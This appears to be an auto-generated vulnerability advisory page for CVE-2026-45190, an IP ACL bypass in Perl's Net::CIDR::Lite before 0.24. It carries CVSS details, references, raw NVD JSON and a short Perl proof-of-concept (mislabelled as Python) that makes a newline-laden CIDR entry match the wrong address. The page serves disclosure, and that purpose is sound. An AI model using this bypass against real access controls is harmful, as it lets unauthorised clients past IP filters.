CVE-2026-45190

Description

Net::CIDR::Lite versions before 0.24 for Perl does not properly validate IP address and CIDR mask inputs, which may allow IP ACL bypass. Inputs containing a trailing newline or non-ASCII digit characters pass the validators but are then re-encoded by the parser to a different address than the input string spelled. find() and bin_find() can match or miss addresses as a result. Example: my $cidr = Net::CIDR::Lite->new(); $cidr->add("::1\n/128"); $cidr->find("::1a"); # incorrectly returns true See also CVE-2026-45191.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Net::CIDR::Lite < 0.24

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-45190
# Demonstrates IP ACL bypass using trailing newline
use strict;
use warnings;
use Net::CIDR::Lite;

my $cidr = Net::CIDR::Lite->new();

# Add a CIDR block with a trailing newline
# In vulnerable versions (<0.24), this passes validation
$cidr->add("::1\n/128");

# Attempt to find a different address "::1a"
# Due to the re-encoding bug, this incorrectly returns true
if ($cidr->find("::1a")) {
    print "Vulnerable: ACL bypassed! '::1a' matched '::1\n/128'\n";
} else {
    print "Not vulnerable: '::1a' did not match.\n";
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45190
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45190
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45190/
[4] VulDB https://vuldb.com/cve/CVE-2026-45190
[5] https://github.com/stigtsp/Net-CIDR-Lite/commit/ca9542adec87110556601d7ce48381ea8d13e692.patch
[6] https://metacpan.org/release/STIGTSP/Net-CIDR-Lite-0.24/changes
[7] https://www.cve.org/CVERecord?id=CVE-2026-45191

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45190", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-10T21:16:29.273", "lastModified": "2026-05-12T16:48:58.260", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Net::CIDR::Lite versions before 0.24 for Perl does not properly validate IP address and CIDR mask inputs, which may allow IP ACL bypass.\n\nInputs containing a trailing newline or non-ASCII digit characters pass the validators but are then re-encoded by the parser to a different address than the input string spelled. find() and bin_find() can match or miss addresses as a result.\n\nExample:\n\n  my $cidr = Net::CIDR::Lite->new();\n  $cidr->add(\"::1\\n/128\");\n  $cidr->find(\"::1a\");  # incorrectly returns true\n\nSee also CVE-2026-45191."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1289"}]}], "references": [{"url": "https://github.com/stigtsp/Net-CIDR-Lite/commit/ca9542adec87110556601d7ce48381ea8d13e692.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://metacpan.org/release/STIGTSP/Net-CIDR-Lite-0.24/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-45191", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}]}}